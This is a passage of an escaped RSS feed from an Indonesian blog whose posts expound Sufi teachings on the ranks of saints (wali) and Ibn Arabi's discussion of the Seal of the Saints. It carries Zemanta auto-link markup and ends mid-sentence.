&lt;span style="color: #f1c232;"&gt;&lt;b&gt;أشهد أن لا اله الا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Allah" rel="wikipedia" target="_blank" title="Allah"&gt;الله&lt;/a&gt; و أشهد أن محمدا رسول الله&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #f1c232;"&gt;&lt;b&gt;Al-Afraad, yaitu Wali yang &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Sangat_%28term%29" rel="wikipedia" target="_blank" title="Sangat (term)"&gt;sangat&lt;/a&gt; spesial, di luar pandangan dunia Quthub.&lt;/b&gt;&lt;/span&gt;
&lt;span style="color: #f1c232;"&gt;&lt;b&gt;&lt;br /&gt;
Para Quthub senantiasa bicara dengan &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Akal" rel="wikipedia" target="_blank" title="Akal"&gt;Akal&lt;/a&gt; &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Akbar" rel="wikipedia" target="_blank" title="Akbar"&gt;Akbar&lt;/a&gt;, dengan Ruh 
Cahaya-cahaya (Ruhul Anwar), dengan Pena yang luhur (Al-Qalamul A'la), 
dengan Kesucian yang sangat indah (Al-Qudsul Al-Abha), dengan Asma yang 
Agung (Ismul A'dzam), dengan Kibritul Ahmar (ibarat Berlian Merah), 
dengan &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Yaqut_al-Hamawi" rel="wikipedia" target="_blank" title="Yaqut al-Hamawi"&gt;Yaqut&lt;/a&gt; yang mememancarkan cahaya ruhani, dengan Asma'-asma, 
huruf-huruf dan lingkaran-lingkaran Asma huruf. Dia bicara dengan cahaya
 matahati di atas rahasia terdalam di lubuk rahasianya. Ia seorang yang 
alim dengan pengetahuan lahiriah dan batiniyah dengan kedalaman makna 
yang dahsyat, baik dalam tafsir, hadits, fiqih, ushul, bahasa, hikmah 
dan etika. Sebuah ilustrasi yang digambarkan pada Sulthanul Aulioya 
Syeikhul Quthub Abul Hasan Asy-Syadzily - semoga Allah senantiasa 
meridhoi&amp;nbsp; &lt;/b&gt;&lt;/span&gt;&lt;span style="color: #f1c232;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;/div&gt;
&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;a href="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img alt="Enhanced by Zemanta" border="0" class="zemanta-pixie-img" src="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" style="border: medium none;" /&gt;&lt;/a&gt;&lt;a class="zemanta-pixie-a" href="http://www.zemanta.com/?px" title="Enhanced by Zemanta"&gt;Bagaimana pandangan Anda mengenai konsep kewalian?&lt;br /&gt;
&lt;br /&gt;
Kalau kita kembalikan pada pengertian dasarnya, istilah wali itu kan 
maknanya bisa dekat, bisa juga kekasih, bisa berarti bimbingan, atau 
juga pemeliharaan. Jadi pengertian wali itu adalah orang yang dekat 
dengan Allah; karena kedekatannya itu pula maka ia layak menjadi kekasih
 Allah; karena telah dekat dan sekaligus menjadi kekasih-Nya, maka ia 
pun layak mendapat bimbingan dan juga pemeliharaan dari Allah. Karena 
itu konsep kewalian itu bisa dijelaskan dari sudut relasi, yaitu relasi 
antara seorang hamba dengan Tuhannya.&lt;br /&gt;
&lt;br /&gt;
Apakah dari sudut relasi itu juga dapat menjelaskan adanya tingkatan-tingkatan diantara para wali Allah itu?&lt;br /&gt;
Ya, kalau berbicara tentang relasi, kondisi dan intensitas setiap 
manusia itu kan berbeda-beda. Ada yang baru mendekat, ada yang sudah 
relatif dekat, ada yang sudah dekat sekali, bahkan ada yang sudah 
menyatu. Karena kondisinya berbeda-beda, maka kualitas kewaliannya pun 
menjadi berbeda pula. Itulah sebabnya mengapa ada tingkatan-tingkatan 
wali.&lt;/a&gt;&lt;/div&gt;
&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;/div&gt;
&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;/div&gt;
&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;/div&gt;
&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;/div&gt;
&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Ibnu Araby Dalam Kitab Khatamul Auliya' 5</title><link>http://alifbraja.blogspot.com/2013/08/ibnu-araby-dalam-kitab-khatamul-auliya-5.html</link><category>Ibnu Araby Dalam Kitab Khatamul Auliya'</category><pubDate>Sat, 17 Aug 2013 20:05:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-8695853786970953676</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="color: red;"&gt;&lt;b&gt;أشهد أن لا اله الا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Allah" rel="wikipedia" target="_blank" title="Allah"&gt;الله&lt;/a&gt; و أشهد أن محمدا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Apostle_%28Islam%29" rel="wikipedia" target="_blank" title="Apostle (Islam)"&gt;رسول&lt;/a&gt; الله&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: red;"&gt;&lt;b&gt;&amp;nbsp;&lt;span style="color: magenta;"&gt;Dengan adanya tingkatan-tingkatan tadi, apa saja kriterianya sehingga 
seseorang layak dikategorikan sebagai &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Wali" rel="wikipedia" target="_blank" title="Wali"&gt;wali&lt;/a&gt; pada tingkatannya yang paling
 dasar misalnya?&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style="color: red;"&gt;&lt;b&gt;&lt;br /&gt;
Dalam al-&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Quran" rel="wikipedia" target="_blank" title="Quran"&gt;Qur'an&lt;/a&gt; Surah Yunus &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Ayah" rel="wikipedia" target="_blank" title="Ayah"&gt;ayat&lt;/a&gt; 62 sampai 64 itu disebutkan, 
persyaratan untuk menjadi wali itu hanya dua saja. Satu beriman, dua 
bertaqwa. &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Persian_language" rel="wikipedia" target="_blank" title="Persian language"&gt;Dari&lt;/a&gt; ayat inilah kemudian para ulama menyimpulkan tentang 
konsep walaayatul-aammah atau kewalian secara umum, ada juga yang 
mengistilahkannya dengan walaayatut-tauhiid.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: red;"&gt;&lt;b&gt;&lt;span style="color: magenta;"&gt;Sejauh mana kadar iman dan taqwa harus dimiliki sehingga seseorang 
berhak menyandang derajat kewalian dalam konteks walaayatul-'amah ini?&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style="color: red;"&gt;&lt;b&gt;&lt;br /&gt;
Kalau menurut Ibnu Taimiyah, kewalian secara umum itu baru konsisten 
atau istiqamah dalam menjalankan segala yang diperintahkan serta 
menjauhi segala yang dilarang Allah. Tapi belum sepenuhnya mengerjakan 
yang disunatkan, belum meninggalkan yang dimakruhkan. Dan untuk kategori
 ini seseorang belum berhak menyandang derajat kewalian dalam 
pengertiannya yang khusus.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="color: magenta;"&gt;&lt;br /&gt;Jika demikian, bila konsep kewalian secara umum ini ditonjolkan, mungkin
 akan berdampak pada pendangkalan makna. Lebih-lebih istilah wali ini 
sudah sering dipergunakan dalam kehidupan sehari-hari. Padahal konsep 
kewalian dalam &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Islam" rel="wikipedia" target="_blank" title="Islam"&gt;Islam&lt;/a&gt; itu kan begitu kudus. Jadi, apa sebenarnya makna 
kewalian secara khusus?&lt;/span&gt;&lt;/b&gt;
&lt;b&gt;&lt;span style="color: magenta;"&gt;&lt;br /&gt;
Pandangan tentang konsep kewalian secara khusus itu cukup beragam. 
Misalnya ada yang mengklasifikasikannya menjadi 8 tingkatan, yang 
masing-masing tingkatan itu menunjukkan kualitas yang berbeda. Tapi ada 
juga yang membaginya menjadi lima tingkatan saja, misalnya Hakim 
at-Tirmidzi. &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;


&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;a class="zemanta-pixie-a" href="http://www.zemanta.com/?px" title="Enhanced by Zemanta"&gt;&lt;img alt="Enhanced by Zemanta" class="zemanta-pixie-img" src="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" style="border: none; float: right;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Ibnu Araby Dalam Kitab Khatamul Auliya' 3</title><link>http://alifbraja.blogspot.com/2013/08/ibnu-araby-dalam-kitab-khatamul-auliya-3.html</link><category>Ibnu Araby Dalam Kitab Khatamul Auliya'</category><pubDate>Sat, 17 Aug 2013 19:59:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-8054326070889338212</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;i&gt;&lt;span style="color: #990000;"&gt;أشهد أن لا اله الا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Allah" rel="wikipedia" target="_blank" title="Allah"&gt;الله&lt;/a&gt; و أشهد أن محمدا رسول الله&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;span style="color: #990000;"&gt;Lahiriyah dan sekaligus Batiniyah:&lt;/span&gt;&lt;/i&gt;
&lt;i&gt;&lt;span style="color: #990000;"&gt;&lt;br /&gt;
Pertama, diam, secara lahiriyah diam dari bicara, kecuali hanya 
berdzikir kepada Allah Ta'ala. Sedangkan Batinnya, adalah diam batinnya 
dari seluruh rincian keragaman dan berita-berita &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Batin_%28Islam%29" rel="wikipedia" target="_blank" title="Batin (Islam)"&gt;batin&lt;/a&gt;. Kedua, terjaga 
dari tidur secara lahiriyah, batinnya terjaga dari kealpaan dari 
dzikrullah. Ketiga, lapar, terbagi dua. Laparnya kalangan Abrar, karena 
kesempurnaan penempuhan menuju Allah, dan laparnya kalangan Muqarrabun 
karena penuh dengan hidangan anugerah sukacita Ilahiyah (uns). Keempat, 
'uzlah, secara lahiriyah tidak berada di tengah keramaian, secara 
batiniyah meninggalkan rasa suka cita bersama banyak orang, karena suka 
cita hanya bersama Allah.&lt;br /&gt;
Amaliyah Batiniyah kalangan &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Abdal" rel="wikipedia" target="_blank" title="Abdal"&gt;Abdal&lt;/a&gt;, juga ada empat prinsipal:&lt;br /&gt;
1) Tajrid (hanya semata bersama Allah),&lt;br /&gt;
2) Tafrid (yang ada hanya Allah),&lt;br /&gt;
3) Al-Jam'u (berada dalam Kesatuan Allah,&lt;br /&gt;
4) Tauhid.&lt;/span&gt;&lt;/i&gt;
&lt;i&gt;&lt;span style="color: #990000;"&gt;&lt;br /&gt;
Ragam lain dari para Wali ada yang disebut dengan Dua &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Imam" rel="wikipedia" target="_blank" title="Imam"&gt;Imam&lt;/a&gt; (Imamani), 
yaitu dua pribadi, salah satu ada di sisi kanan Quthub dan sisi lain ada
 di sisi kirinya. Yang ada di sisi kanan senantiasa memandang alam 
Malakut (alam batin) -- dan derajatnya lebih luhur ketimbang kawannya 
yang di sisi kiri --, sedangkan yang di sisi kiri senantiasa memandang 
ke alam jagad semesta (malak). Sosok di kanan Quthub adalah Badal dari 
Quthub. Namun masing-masing memiliki empat amaliyah Batin, dan empat 
amaliyah Lahir. Yang bersifat Lahiriyah adalah: Zuhud, Wara', Amar 
&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Ma%27ruf" rel="wikipedia" target="_blank" title="Ma'ruf"&gt;Ma'ruf&lt;/a&gt; dan Nahi Munkar. Sedangkan yang bersifat Batiniyah: Kejujuran 
hati, &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Al-Ikhlas" rel="wikipedia" target="_blank" title="Al-Ikhlas"&gt;Ikhlas&lt;/a&gt;, Mememlihara Malu dan Muraqabah.&amp;nbsp; &lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="color: #990000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;a class="zemanta-pixie-a" href="http://www.zemanta.com/?px" title="Enhanced by Zemanta"&gt;&lt;img alt="Enhanced by Zemanta" class="zemanta-pixie-img" src="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" style="border: none; float: right;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Ibnu Araby Dalam Kitab Khatamul Auliya' 2</title><link>http://alifbraja.blogspot.com/2013/08/ibnu-araby-dalam-kitab-khatamul-auliya-2.html</link><category>Ibnu Araby Dalam Kitab Khatamul Auliya'</category><pubDate>Sat, 17 Aug 2013 19:57:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-3486323840664396747</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="color: magenta;"&gt;&lt;b&gt;أشهد أن لا اله الا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Allah" rel="wikipedia" target="_blank" title="Allah"&gt;الله&lt;/a&gt; و أشهد أن محمدا رسول الله&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: magenta;"&gt;&lt;b&gt;&amp;nbsp;Ragam Para Wali&lt;/b&gt;&lt;/span&gt;
&lt;span style="color: magenta;"&gt;&lt;b&gt;&lt;br /&gt;
Para Syekh &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Sufism" rel="wikipedia" target="_blank" title="Sufism"&gt;Sufi&lt;/a&gt; membagi macam para Wali dengan berbagai versi, termasuk 
derajat masing-masing di hadapan Allah Ta'ala. Dalam kitab Al-Mafakhirul
 Aliyah fi al-Ma'atsir asy-Syadzilyah disebutkan ketika membahas soal 
Wali Quthub. Syekh Syamsuddin bin Katilah Rahimahullaahu Ta'ala 
menceritakan: "Saya sedang &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Duduk" rel="wikipedia" target="_blank" title="Duduk"&gt;duduk&lt;/a&gt; di hadapan guruku, lalu terlintas untuk
 menanyakan tentang Wali Quthub. "Apa makna Quthub itu wahai tuanku?" 
Lalu beliau menjawab, "Quthub itu banyak. Setiap &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Muqaddam" rel="wikipedia" target="_blank" title="Muqaddam"&gt;muqaddam&lt;/a&gt; atau pemuka 
sufi bisa disebut sebagai Quthub-nya.&lt;br /&gt;
Sedangkan al-Quthubul Ghauts al-Fard al-&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Jami" rel="wikipedia" target="_blank" title="Jami"&gt;Jami&lt;/a&gt;' itu hanya satu. Artinya 
bahwa Wali Nuqaba' itu jumlahnya 300. Mereka itu telah lepas dari 
rekadaya nafsu, dan mereka memiliki 10 amaliyah: empat amaliyah bersifat
 lahiriyah, dan enam amaliyah bersifat bathiniyah. Empat amaliyah 
lahiriyah itu antara lain:&lt;br /&gt;
1) &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Ibadah" rel="wikipedia" target="_blank" title="Ibadah"&gt;Ibadah&lt;/a&gt; yang banyak,&lt;br /&gt;
2) Melakukan zuhud hakiki,&lt;br /&gt;
3) Menekan hasrat diri,&lt;br /&gt;
4) Mujahadah dengan maksimal.&lt;/b&gt;&lt;/span&gt;
&lt;span style="color: magenta;"&gt;&lt;b&gt;&lt;br /&gt;
Sedangkan prilaku batinnya:&lt;br /&gt;
1) Taubat,&lt;br /&gt;
2) Inabat,&lt;br /&gt;
3) Muhasabah,&lt;br /&gt;
4) Tafakkur,&lt;br /&gt;
5) Merakit dalam Allah,&lt;br /&gt;
6) Riyadlah. Di antara 300 Wali ini ada imam dan pemukanya, dan ia disebut sebagai Quthub-nya. &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;


&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;a class="zemanta-pixie-a" href="http://www.zemanta.com/?px" title="Enhanced by Zemanta"&gt;&lt;img alt="Enhanced by Zemanta" class="zemanta-pixie-img" src="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" style="border: none; float: right;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Ibnu Araby Dalam Kitab Khatamul Auliya' 1</title><link>http://alifbraja.blogspot.com/2013/08/ibnu-araby-dalam-kitab-khatamul-auliya-1.html</link><category>Ibnu Araby Dalam Kitab Khatamul Auliya'</category><pubDate>Sat, 17 Aug 2013 19:55:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-8030673659814780772</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;b&gt;&lt;span style="color: red;"&gt;أشهد أن لا اله الا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Allah" rel="wikipedia" target="_blank" title="Allah"&gt;الله&lt;/a&gt; و أشهد أن محمدا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Apostle_%28Islam%29" rel="wikipedia" target="_blank" title="Apostle (Islam)"&gt;رسول&lt;/a&gt; الله&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="color: red;"&gt;Imam at-Tairmidzy al-Hakim, seorang filosuf agung dan &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Sufism" rel="wikipedia" target="_blank" title="Sufism"&gt;Sufi&lt;/a&gt; terbesar 
di zamannya pernah menulis tentang Khatamul Auliya’ (Pamungkas para 
&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Wali" rel="wikipedia" target="_blank" title="Wali"&gt;wali&lt;/a&gt;), sebagai konsep mengembangkan pamungkas para Nabi (Khatimul 
Anbiya’). Ibu 

Araby dalam kitabnya yang paling komprehensif sepanjang zaman, 
Al-Futuhatul Makiyyah. Disanalah Ibnu Araby menjawab 155 pertanyaan 
dalam Khatamul Auliya’-nya At-Tirmidy. Dalam pertanyaan pertama 
berbunyi:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Berapakah Manazil (tempat pijakan ruhani) para Auliya’?&lt;/em&gt;&lt;br /&gt;Ibnu
 Araby menjawab: Ketahuilah bahwa manazil Auliya’ ada dua macam. Pertama
 bersifat Inderawi (hissiyah) dan kedua bersifat Maknawy. Posisi pijakan
 ruhani (manzilah) yang bersifat inderawi, adalah syurga, walau pun di 
syurga itu ada seratus jumlah derajatnya. Sedangkan manzilah mereka di 
dunia yang bersifat inderawi adalah ahwal mereka yang seringkali 
melahirkan sesuatu yang luar biasa. Diantara mereka ada ditampakkan oleh
 Allah seperti Wali-wali Abdal dan sejenisnya. Ada juga yang tidak 
ditampakkan seperti kalangan Wali Malamatiyah serta para kaum ‘Arifin 
yang agung, jumlah pijakan mereka lebih dari 100 tempat pijakan ruhani. 
Setiap masing-masing tempat itu berkembang menjadi sekian tempat yang 
begitu banyak. Demikian pijakan ruhani mereka yang bersifat inderawi di 
dua alam (dunia dan akhirat).&lt;br /&gt;&lt;br /&gt;Sedangkan yang bersifat Maknawy 
dalam dimensi-dimensi kema’rifatan, maka manzilah mereka 248 ribu tempat
 pijakan ruhani hakiki yang tidak dapat diraih oleh ummat-ummat sebelum 
Nabi kita &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Muhammad" rel="wikipedia" target="_blank" title="Muhammad"&gt;Muhammad&lt;/a&gt; SAW, dengan rasa ruhani yang berbeda-beda, dan 
masing-masing rasa ruhani memiliki rasa yang spesial yang hanya 
diketahui oleh yang merasakan.&lt;br /&gt;&lt;br /&gt;Jumlah tersebut tersari dalam 
empat maqamat: 1) Maqam Ilmu Ladunny, 2) Maqam Ilmu Nur, 3) Maqam Ilmu 
al-Jam’u dan at-Tafriqat, 4) Maqam Ilmu Al-Kitabah al-Ilahiyyah. 
Diantara Maqamat itu adalah maqam-amaqam Auliya’ yang terbagi dalam 100 
ribu lebih maqam Auliya, dan masing-masing masih bercabang banyak, yang 
bisa dihitung, namun bukan pada tempatnya mengurai di sini. &lt;br /&gt;&lt;br /&gt;Mengenai
 Ilmu Ladunny berhubungan dengan nunasa-nuansa Ilahiyah dan sejumlah 
serapannya berupa Rahmat khusus. Sedangkan Ilmu Nur, tampak kekuatannya 
pada cakrawala ruhani paling luhur, ribuan Tahun Ilahiyah sebelum 
lahirnya Adam as. Sementara Ilmu Jam’ dan Tafriqah adalah Lautan 
Ilahiyah yang meliputi secara universal, dimana Lauhul Mahfudz sebagai 
abian dari Lautan itu. Dari situ pula melahirkan Akal Awal, dan seluruh 
cakrawala tertinggi mencerap darinya. Dan sekali lagi, para Auliya 
selain ummat ini tidak bisa mencerapnya. Namun diantara para Auliya’ ada
 yang mampu meraih secara keseluruhan ragam itu, seperti &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Abu_Yazid" rel="wikipedia" target="_blank" title="Abu Yazid"&gt;Abu Yazid&lt;/a&gt; 
al-Bisthamy, dan Sahl bin Abdullah, serta ada pula yang hanya meraih 
sebagian. Para Auliya’ di kalangan ummat ini dari perspektif pengetahuan
 ini ada hembusan ruh dalam lorong jiwanya, dan tak ada yang sempurna 
kecuali dari Auliya’ ummat ini sebagai pemuliaan dan pertolongan Allah 
kepada mereka, karena kedudukan agung Nabi mereka Sayyidina Muhammad 
SAW.&lt;br /&gt;&lt;br /&gt;Di dalam pengetahuan tersebut tersembunyi rahasia-rahasia 
ilmu pengetahuan yang sesungguhnya berada dalam tiga pijakan dasar 
ruhani pengetahuan: 1) Pengetahuan yang berhubungan dengan Ilahiyyah, 2)
 Pengetahuan yang berhubungan dengan ruh-ruh yang luhur, dan 3) 
Pengetahuan yang berhubungan dengan maujud-maujud semesta. &lt;br /&gt;Yang 
berhubungan dengan ilmu ruh-ruh yang luhur menjadi beragam tanpa adanya 
kemustahilan kontradiktif. Sedangkan yang berhubungan dengan maujud alam
 beragam, dan memiliki kemustahilan dengan kontradiksi kemustahilannya.&lt;br /&gt;&lt;br /&gt;Jika
 pengetahuan terbagi dalam tiga dasar utama itu, maka para Auliya’ juga 
terbagi dalam tiga lapisan: Lapisan Tengah (Ath-Thabaqatul Wustha), 
memiliki 123 ribu pijakan ruhani, dan 87 manzilah utama, yang menjadi 
sumber serapan dari masing-masing manzilah yang tidak bisa dibatasi, 
karena terjadinya interaksi satu sama lainnya, dan tidak ada yang meraih
 manfaatnya kecuali dengan Rasa Khusus. Sementara lapisan yang sisanya, 
(dua lapisan) muncul dengan pakaian kebesaran dan sarung keagungan. 
Hanya saja keduanya yang menggunakan sarung keagungan itu memiliki 
mazilah lebih dari 123 ribu itu. Sebab pakaian kebesaran merupakan 
penampakan dari AsmaNya Yang Maha Dzahir, sedangkan sarungnya adalah 
penampakan dari AsmaNya Yang Maha Batin. Yang Dzahir adalah asal 
tonggaknya, dan Yang Batin adalah karakter baru, dimana dengan 
kebaruannya muncullah pijakan-pijakan ruhani (manazil) ini. &lt;br /&gt;&lt;br /&gt;Cabang
 senantiasa menjadi tempatnya buah. Maka apa yang ditemukan pada cabang 
itu merupakan sesuatu yang tidak ditemukan dalam tonggaknya, yaitu buah.
 Walaupun dua cabang di atas itu munculnya dari satu tonggak utamanya 
yaitu AsdmaNya Yang Maha Dzahir, tetapi hukumnya berbeda. Ma’rifat kita 
kepada Tuhan, muncul setelah kita mengenal diri kita, sebab itu “Siapa 
yang kenal dirinya, kenal Tuhannya”. Walaupun wujud diri kita 
sesungguhnya merupakan cabang dari dari Wujug Rabb. Wujud Rabb adalah 
tonggal asal, dan wujud hamba adalah cabang belaka. Dalam Martabat bisa 
akan mendahului, sehingga bagiNya ada Nama Al-Awwal, dan dalam suatu 
martabat diakhirkan, sehingga ada Nama Yang Maha Akhir. Disatu sisi 
dihukumi sebagai Asal karena nisbat khusus, dan dilain sisi disehukumi 
sebagai Cabang karena nisbat yang lain. Inilah yang bisa dinalar oleh 
analisa akal. Sedangkan yang dirasakan oleh limpahan Ma’rifat Rasa, maka
 Dia adalah Dzahir dari segi bahwa Dia adalah Batin, dan Dia adalah 
Batin dari segi kenyataanNya Yang Dzahir, dan Awwal dari kenyataanNya 
adalah Akhir, demikian pula dalam Akhir.&lt;br /&gt;&lt;br /&gt;Swedangkan jumlah para 
Auliya yang berada dalam manzilah-manzilah itu, ada356 sosok, yang 
mereka itu adala dalam kalbu Adam, Nuh, Ibrahim, Jibril, Mikail, dan 
&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Israfil" rel="wikipedia" target="_blank" title="Israfil"&gt;Israfil&lt;/a&gt;. Dan ada 300, 40, 7, 5, 3 dan 1. Sehingga jumlah kerseluruhan 
356 tokoh. Hal ini menurut kalangan Sufi karena adanya hadits yang 
menyebut demikian.&lt;br /&gt;&lt;br /&gt;Sedangkan menurut thariqat kami dan yang 
muncul dari mukasyafah, maka jumlah keseluruhan Auliya yang telah kami 
sebut diatas di awal bab ini, sampai berjumlah 589 orang. Diantara 
mereka ada 1 orang, yang tidak mesti muncul setiap zaman, yang disebut 
sebagai al-Khatamul Muhammady, sedangkan yang lain senantiasa ada di 
setiap zaman tidak berkurang dan tidak bertambah. Al-Khatamul Muhammady 
pada zaman ini (zaman Ibnu Araby, red), kami telah melihatnya dan 
mengenalnya (semoga Allah menyempurnakan kebahagiaannya), saya tahu ia 
ada di Fes (&lt;a class="zem_slink" href="http://maps.google.com/maps?ll=34.0333333333,-6.85&amp;amp;spn=10.0,10.0&amp;amp;q=34.0333333333,-6.85%20(Morocco)&amp;amp;t=h" rel="geolocation" target="_blank" title="Morocco"&gt;Marokko&lt;/a&gt;) tahun 595 H. &lt;br /&gt;&lt;br /&gt;Sementara yang disepakati 
kalangan Sufi, ada 6 lapisan para Auliya’, yaitu para Wali : Ummahat, 
Aqthab; A’immah; Autad; Abdal; Nuqaba’; dan Nujaba’.&lt;br /&gt;&lt;br /&gt;Pada 
pertanyaan lain : Siapa yang berhak menyandang Khatamul Auliya’ 
sebagaimana gelar yang disandang Khatamun Nubuwwah oleh Nabi Muhammad 
SAW.? Ibnu Araby menjawab: &lt;br /&gt;&lt;br /&gt;Al-Khatam itu ada dua: Allah menutup 
Kewalian (mutlak), dan Allah menutup Kewalian Muhammadiyah. Penutup 
Kewalian mutlak adalah Isa Alaihissalaam. Dia adalah Wali dengan 
Nubuwwah Mutlak, yang kelak turun di era ummat ini, dimana turunnya di 
akhir zaman, sebagai pewaris dan penutup, dimana tidak ada Wali dengan 
Nubuwwah Mutlak setelah itu. Ia disela oleh Nubuwwah Syari’at dan 
Nubuwwah Risalah. Sebagaimana Nabi Muhammad SAW sebagai Penutup 
Kenabian, dimana tidak ada lagi Kenabian &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Sharia" rel="wikipedia" target="_blank" title="Sharia"&gt;Syariat&lt;/a&gt; setelah itu, walau pun 
setelah itu masih turun seperti Isa, sebagai salah satu dari &lt;a class="zem_slink" href="http://maps.google.com/maps?ll=8.5812,149.685&amp;amp;spn=0.1,0.1&amp;amp;q=8.5812,149.685%20(Ulul)&amp;amp;t=h" rel="geolocation" target="_blank" title="Ulul"&gt;Ulul&lt;/a&gt; ‘Azmi 
dari para Rasul dan Nabi mulia. Maka turunnya Isa sebagai Wali dengan 
Nubuwwah mutlaknya, tertapi aturannya mengikuti aturan Nabi Muhammad 
SAW, bergabung dengan para Wali dari ummat Muhammad lainnya. Ia termasuk
 golongan kita dan pemuka kita.&lt;br /&gt;&lt;br /&gt;Pada mulanya, ada Nabi, yaitu 
Adam, AS.Dan akhirnya juga ada Nabi, yaitu Isa, sebagai Nabi Ikhtishah 
(kekhususan), sehingga Isa kekal di hari mahsyar ikut terhampar dalam 
dua hamparan mahsyar. Satu Mahsyar bersama kita, dan satu mahsyar 
bersama para Rasul dan para Nabi.&lt;br /&gt;&lt;br /&gt;Adapun Penutup Kewalian 
Muhammadiyah, saat ini (era Ibnu Araby) ada pada seorang dari bangsa 
